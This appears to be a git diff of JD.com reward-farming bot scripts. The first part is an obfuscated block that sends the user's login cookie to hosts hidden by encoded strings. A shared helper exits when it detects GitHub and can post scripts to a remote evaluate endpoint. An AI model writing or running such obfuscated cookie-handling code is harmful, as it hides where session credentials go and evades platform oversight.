_0x2ca2b4={'url':_0x35cd('‫85')+_0x4b3554[_0x35cd('‮74')](encodeURIComponent,JSON[_0x35cd('‮60')](_0x183ea4))+_0x35cd('‫86')+$[_0x35cd('‮87')]+_0x35cd('‫61'),'headers':{'Accept':_0x4b3554[_0x35cd('‫88')],'Origin':_0x4b3554[_0x35cd('‮89')],'Accept-Encoding':_0x4b3554[_0x35cd('‮8a')],'Accept-Language':_0x4b3554[_0x35cd('‫8b')],'Cookie':cookie,'Referer':_0x4b3554[_0x35cd('‮89')],'User-Agent':_0x35cd('‮66')}};$[_0x35cd('‫67')](_0x2ca2b4,(_0x1481a0,_0x4098fc,_0x499fe0)=>{try{if(_0x1481a0){if(_0xe185ce[_0x35cd('‮8c')](_0xe185ce[_0x35cd('‫8d')],_0xe185ce[_0x35cd('‫8e')])){_0xe185ce[_0x35cd('‮8f')](_0x349935);}else{console[_0x35cd('‮9')](''+JSON[_0x35cd('‮60')](_0x1481a0));}}else{if(_0x499fe0){_0x499fe0=JSON[_0x35cd('‫68')](_0x499fe0);if(_0x499fe0[_0x35cd('‫90')][_0x35cd('‮91')]){if(_0xe185ce[_0x35cd('‫92')](_0xe185ce[_0x35cd('‫93')],_0xe185ce[_0x35cd('‫93')])){$[_0x35cd('‮51')]=_0x499fe0[_0x35cd('‫90')][_0x35cd('‮91')][_0x35cd('‮51')];}else{console[_0x35cd('‮9')](''+JSON[_0x35cd('‮60')](_0x1481a0));}}}else{console[_0x35cd('‮9')](_0x35cd('‮5d'));}}}catch(_0x1210cd){$[_0x35cd('‫2b')](_0x1210cd,_0x4098fc);}finally{if(_0xe185ce[_0x35cd('‮94')](_0xe185ce[_0x35cd('‫95')],_0xe185ce[_0x35cd('‫96')])){_0xe185ce[_0x35cd('‮8f')](_0x349935);}else{$[_0x35cd('‫2b')](e,_0x4098fc);}}});}});}function drawShopGift(){var _0x19e4e5={'daLdS':function(_0x391425,_0x120ce9){return _0x391425===_0x120ce9;},'hzPIN':_0x35cd('‫8'),'ZdORk':_0x35cd('‫97'),'QRSJW':_0x35cd('‮12'),'uSOSN':_0x35cd('‮98'),'Abbov':_0x35cd('‮99'),'OaRYn':_0x35cd('‮9a'),'OWiFI':function(_0x332c46,_0x1cc8ae){return _0x332c46!==_0x1cc8ae;},'WjTJF':_0x35cd('‫9b'),'fnRBx':function(_0x3d9633){return _0x3d9633();},'qnKAs':function(_0x513fea,_0x3a5111){return _0x513fea(_0x3a5111);},'fqKyi':_0x35cd('‮54'),'tBYVr':_0x35cd('‮55'),'CQvmh':_0x35cd('‫56'),'KpvLy':_0x35cd('‮57')};const _0xc251fa={'shopId':$[_0x35cd('‮4e')],'venderId':$[_0x35cd('‫2c')],'activityId':$[_0x35cd('‮51')]};return new Promise(async _0x543d6b=>{var _0x5d1840={'JRRST':function(_0x119873,_0x58e21a){return _0x19e4e5[_0x35cd('‫9c')](_0x119873,_0x58e21a);},'gqtDR':_0x19e4e5[_0x35cd('‫9d')],'VFQtV':_0x19e4e5[_0x35cd('‫9e')],'TWXGS':_0x19e4e5[_0x35cd('‫9f')],'oXErA':_0x19e4e5[_0x35cd('‮a0')],'wpZQX':_0x19e4e5[_0x35cd('‫a1')],'TNMNJ':_0x19e4e5[_0x35cd('‮a2')],'smhOh':function(_0x51f953,_0x40ef11){return _0x19e4e5[_0x35cd('‮a3')](_0x51f953,_0x40ef11);},'Uayvy':_0x19e4e5[_0x35cd('‮a4')],'BLsZy':function(_0xdf6f8a){return _0x19e4e5[_0x35cd('‫a5')](_0xdf6f8a);}};const _0x2ccde0={'url':_0x35cd('‮a6')+_0x19e4e5[_0x35cd('‮a7')](encodeURIComponent,JSON[_0x35cd('‮60')](_0xc251fa))+_0x35cd('‫86')+$[_0x35cd('‮87')]+_0x35cd('‫61'),'headers':{'Accept':_0x19e4e5[_0x35cd('‫a8')],'Origin':_0x19e4e5[_0x35cd('‫a9')],'Accept-Encoding':_0x19e4e5[_0x35cd('‮aa')],'Accept-Language':_0x19e4e5[_0x35cd('‫ab')],'Cookie':cookie,'Referer':_0x19e4e5[_0x35cd('‫a9')],'User-Agent':_0x35cd('‮66')}};$[_0x35cd('‫67')](_0x2ccde0,(_0x1a9f19,_0x339209,_0x5b55e8)=>{var _0xbe207b={'MeMSo':function(_0x140c71,_0x27b173){return _0x5d1840[_0x35cd('‮ac')](_0x140c71,_0x27b173);},'CYYub':_0x5d1840[_0x35cd('‫ad')],'INlFK':_0x5d1840[_0x35cd('‮ae')],'WiTTu':function(_0x55fb79,_0x31b0be){return _0x5d1840[_0x35cd('‮ac')](_0x55fb79,_0x31b0be);},'cbrnD':_0x5d1840[_0x35cd('‮af')]};try{if(_0x1a9f19){if(_0x5d1840[_0x35cd('‮ac')](_0x5d1840[_0x35cd('‫b0')],_0x5d1840[_0x35cd('‫b0')])){console[_0x35cd('‮9')](''+JSON[_0x35cd('‮60')](_0x1a9f19));}else{$[_0x35cd('‮51')]=_0x5b55e8[_0x35cd('‫90')][_0x35cd('‮91')][_0x35cd('‮51')];}}else{if(_0x5b55e8){if(_0x5d1840[_0x35cd('‮ac')](_0x5d1840[_0x35cd('‮b1')],_0x5d1840[_0x35cd('‫b2')])){Object[_0x35cd('‫3')](jdCookieNode)[_0x35cd('‫4')](_0x3bab19=>{cookiesArr[_0x35cd('‮5')](jdCookieNode[_0x3bab19]);});if(process[_0x35cd('‮6')][_0x35cd('‮7')]&&_0xbe207b[_0x35cd('‮b3')](process[_0x35cd('‮6')][_0x35cd('‮7')],_0xbe207b[_0x35cd('‫b4')]))console[_0x35cd('‮9')]=()=>{};}else{_0x5b55e8=JSON[_0x35cd('‫68')](_0x5b55e8);if(_0x5b55e8[_0x35cd('‫90')]){console[_0x35cd('‮9')](_0x5b55e8[_0x35cd('‫90')]);}}}else{console[_0x35cd('‮9')](_0x35cd('‮5d'));}}}catch(_0xec5534){if(_0x5d1840[_0x35cd('‮b5')](_0x5d1840[_0x35cd('‫b6')],_0x5d1840[_0x35cd('‫b6')])){_0x5b55e8=JSON[_0x35cd('‫68')](_0x5b55e8);if(_0xbe207b[_0x35cd('‮b3')](_0x5b55e8[_0xbe207b[_0x35cd('‮b7')]],0xd)){$[_0x35cd('‫33')]=![];return;}if(_0xbe207b[_0x35cd('‫b8')](_0x5b55e8[_0xbe207b[_0x35cd('‮b7')]],0x0)){$[_0x35cd('‫26')]=_0x5b55e8[_0xbe207b[_0x35cd('‮b9')]]&&_0x5b55e8[_0xbe207b[_0x35cd('‮b9')]][_0x35cd('‫28')]||$[_0x35cd('‮29')];}else{$[_0x35cd('‫26')]=$[_0x35cd('‮29')];}}else{$[_0x35cd('‫2b')](_0xec5534,_0x339209);}}finally{_0x5d1840[_0x35cd('‫ba')](_0x543d6b);}});});}function random(_0x441f0a,_0x50175a){var _0xd7d8fa={'Yshlh':function(_0x59f925,_0x46ce3d){return _0x59f925+_0x46ce3d;},'CxHXJ':function(_0x3523c1,_0x4fc003){return _0x3523c1*_0x4fc003;},'XnUrJ':function(_0x6eaec6,_0x2c7dcd){return _0x6eaec6-_0x2c7dcd;}};return _0xd7d8fa[_0x35cd('‫bb')](Math[_0x35cd('‮bc')](_0xd7d8fa[_0x35cd('‫bd')](Math[_0x35cd('‮be')](),_0xd7d8fa[_0x35cd('‮bf')](_0x50175a,_0x441f0a))),_0x441f0a);}function TotalBean(){var _0x1d42d3={'iRKEx':function(_0xf85262,_0x305d3b){return _0xf85262===_0x305d3b;},'UXERV':_0x35cd('‫c0'),'IVOzp':function(_0x5ad755,_0x196b07){return _0x5ad755!==_0x196b07;},'fbMeU':_0x35cd('‫c1'),'BuYsx':_0x35cd('‫c2'),'TaipV':_0x35cd('‫97'),'nLsvb':function(_0xf328b2,_0x1ab86f){return _0xf328b2===_0x1ab86f;},'aOTJz':_0x35cd('‮c3'),'IRwSI':_0x35cd('‮12'),'pkxVQ':function(_0x452329){return _0x452329();},'INVFo':_0x35cd('‮c4'),'warSQ':_0x35cd('‮c5'),'dgqJx':_0x35cd('‮c6'),'umOwW':_0x35cd('‫56'),'ywalO':_0x35cd('‮c7'),'YYcFW':_0x35cd('‮c8'),'dIcHI':_0x35cd('‫c9'),'qhsvn':_0x35cd('‮ca')};return new Promise(async _0x1983b3=>{if(_0x1d42d3[_0x35cd('‫cb')](_0x1d42d3[_0x35cd('‫cc')],_0x1d42d3[_0x35cd('‫cc')])){const _0x4e7f2f={'url':_0x35cd('‮cd'),'headers':{'Accept':_0x1d42d3[_0x35cd('‫ce')],'Content-Type':_0x1d42d3[_0x35cd('‫cf')],'Accept-Encoding':_0x1d42d3[_0x35cd('‮d0')],'Accept-Language':_0x1d42d3[_0x35cd('‫d1')],'Connection':_0x1d42d3[_0x35cd('‫d2')],'Cookie':cookie,'Referer':_0x1d42d3[_0x35cd('‮d3')],'User-Agent':_0x1d42d3[_0x35cd('‮d4')]}};$[_0x35cd('‫d5')](_0x4e7f2f,(_0x45f758,_0x2e56c7,_0x370931)=>{if(_0x1d42d3[_0x35cd('‮d6')](_0x1d42d3[_0x35cd('‫d7')],_0x1d42d3[_0x35cd('‫d7')])){try{if(_0x1d42d3[_0x35cd('‮d8')](_0x1d42d3[_0x35cd('‫d9')],_0x1d42d3[_0x35cd('‫da')])){if(_0x45f758){console[_0x35cd('‮9')](''+JSON[_0x35cd('‮60')](_0x45f758));console[_0x35cd('‮9')]($[_0x35cd('‫1d')]+_0x35cd('‮db'));}else{if(_0x370931){_0x370931=JSON[_0x35cd('‫68')](_0x370931);if(_0x1d42d3[_0x35cd('‮d6')](_0x370931[_0x1d42d3[_0x35cd('‮dc')]],0xd)){$[_0x35cd('‫33')]=![];return;}if(_0x1d42d3[_0x35cd('‫cb')](_0x370931[_0x1d42d3[_0x35cd('‮dc')]],0x0)){if(_0x1d42d3[_0x35cd('‮d8')](_0x1d42d3[_0x35cd('‫dd')],_0x1d42d3[_0x35cd('‫dd')])){console[_0x35cd('‮9')](''+JSON[_0x35cd('‮60')](_0x45f758));}else{$[_0x35cd('‫26')]=_0x370931[_0x1d42d3[_0x35cd('‫de')]]&&_0x370931[_0x1d42d3[_0x35cd('‫de')]][_0x35cd('‫28')]||$[_0x35cd('‮29')];}}else{$[_0x35cd('‫26')]=$[_0x35cd('‮29')];}}else{console[_0x35cd('‮9')](_0x35cd('‮5d'));}}}else{$[_0x35cd('‮9')]('','❌\x20'+$[_0x35cd('‫1d')]+_0x35cd('‮48')+e+'!','');}}catch(_0x78b572){$[_0x35cd('‫2b')](_0x78b572,_0x2e56c7);}finally{_0x1d42d3[_0x35cd('‮df')](_0x1983b3);}}else{$[_0x35cd('‫2b')](e,_0x2e56c7);_0x370931=null;}});}else{data=JSON[_0x35cd('‫68')](data);if(data[_0x35cd('‫90')]){console[_0x35cd('‮9')](data[_0x35cd('‫90')]);}}});}function getCodeList(_0x37f539){var _0x4f7e06={'ygjTm':function(_0x264c87,_0x3db1e7){return _0x264c87===_0x3db1e7;},'Rjluc':_0x35cd('‮e0'),'mLAzN':function(_0x2bcbd2,_0x208f0d){return _0x2bcbd2!==_0x208f0d;},'vYrIL':_0x35cd('‫e1'),'zDZUH':_0x35cd('‫e2'),'sFjFM':function(_0x3f9d7d,_0x24e331){return _0x3f9d7d(_0x24e331);},'mbnRI':_0x35cd('‫e3')};return new Promise(_0x34e780=>{var _0x3763b3={'rIZXz':function(_0x58d681,_0x43d5d0){return _0x4f7e06[_0x35cd('‮e4')](_0x58d681,_0x43d5d0);},'htdQa':_0x4f7e06[_0x35cd('‮e5')],'aVXgu':function(_0x3d1f32,_0xdc6601){return _0x4f7e06[_0x35cd('‮e6')](_0x3d1f32,_0xdc6601);},'DwUXf':_0x4f7e06[_0x35cd('‮e7')],'MOZMZ':_0x4f7e06[_0x35cd('‫e8')],'PcIjK':function(_0x44f5da,_0x5eef88){return _0x4f7e06[_0x35cd('‮e9')](_0x44f5da,_0x5eef88);}};const _0x30fe0b={'url':_0x37f539+'?'+new Date(),'timeout':0x2710,'headers':{'User-Agent':_0x4f7e06[_0x35cd('‫ea')]}};$[_0x35cd('‫67')](_0x30fe0b,async(_0x38bd17,_0x5f5256,_0x5bddfc)=>{try{if(_0x38bd17){$[_0x35cd('‮20')]=![];}else{if(_0x3763b3[_0x35cd('‫eb')](_0x3763b3[_0x35cd('‮ec')],_0x3763b3[_0x35cd('‮ec')])){if(_0x5bddfc)_0x5bddfc=JSON[_0x35cd('‫68')](_0x5bddfc);$[_0x35cd('‮20')]=!![];}else{$[_0x35cd('‮20')]=![];}}}catch(_0x5f1581){$[_0x35cd('‫2b')](_0x5f1581,_0x5f5256);_0x5bddfc=null;}finally{if(_0x3763b3[_0x35cd('‮ed')](_0x3763b3[_0x35cd('‫ee')],_0x3763b3[_0x35cd('‫ef')])){_0x3763b3[_0x35cd('‫f0')](_0x34e780,_0x5bddfc);}else{console[_0x35cd('‮9')](_0x35cd('‮5d'));}}});});};_0xodk='jsjiami.com.v6'; +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_ddly.js b/jd_ddly.js new file mode 100644 index 0000000..e4ab771 --- /dev/null +++ b/jd_ddly.js @@ -0,0 +1,211 @@ +/* +东东乐园@wenmoux +活动入口:东东农场->东东乐园(点大风车 +好像没啥用 就20💧 +更新地址:https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#东东乐园 +30 7 * * * https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js, tag=东东乐园, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "30 7 * * *" script-path=https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js tag=东东乐园 + +===============Surge================= +东东乐园 = type=cron,cronexp="30 7 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js + +============小火箭========= +东东乐园 = type=cron,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js, cronexpr="30 7 * * *", timeout=3600, enable=true + + */ +const $ = new Env('东东乐园'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + $.taskList = [] + message = '' + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await parkInit() + for (task of $.taskList) { + if (task.topResource.task.status == 3) { + console.log(`任务 ${task.topResource.title} 已完成`) + } else { + console.log("去浏览:" + task.topResource.title) + let index = task.name.match(/\d+/)[0] - 1 + console.log(task.topResource.task.advertId, index, task.type) + await browse(task.topResource.task.advertId) + await $.wait(1000); + await browseAward(task.topResource.task.advertId, index, task.type) + } + } + // console.log(`\n集勋章得好礼 By:【zero205】`) + // console.log(`\n由于我自己写这个脚本的时候已经手动开启活动了\n所以不知道开启活动的代码\n没有开启的手动开启吧,活动入口:东东农场->水车\n`) + // await collect() + } + } + + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + + + + +function browseAward(id, index, type) { + return new Promise(async (resolve) => { + const options = taskUrl("ddnc_farmpark_browseAward", `{"version":"1","channel":1,"advertId":"${id}","index":${index},"type":${type}}`) + // console.log(options) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + // console.log(data) + if (data.result) { + console.log("领取奖励成功,获得💧" + data.result.waterEnergy) + } else { + console.log(JSON.stringify(data)) + } + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function browse(id) { + return new Promise(async (resolve) => { + const options = taskUrl("ddnc_farmpark_markBrowser", `{"version":"1","channel":1,"advertId":"${id}"}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + console.log(`浏览 ${id} : ${data.success}`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +function parkInit() { + return new Promise(async (resolve) => { + const options = taskUrl("ddnc_farmpark_Init", `{"version":"1","channel":1}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + // console.log(data) + if (data.buildings) { + $.taskList = data.buildings.filter(x => x.topResource.task) + } else { + console.log("获取任务列表失败,你不会是黑鬼吧") + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function taskUrl(functionId, body) { + const time = Date.now(); + return { + url: "https://api.m.jd.com/client.action", + body: `functionId=${functionId}&body=${encodeURIComponent(body)}&client=wh5&clientVersion=1.0.0&uuid=`, + headers: { + Accept: "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Cookie: cookie, + Host: "api.m.jd.com", + Referer: "https://h5.m.jd.com/babelDiy/Zeus/J1C5d6E7VHb2vrb5sJijMPuj29K/index.html?babelChannel=ttt1&lng=107.147086&lat=33.255079&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446", + "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return 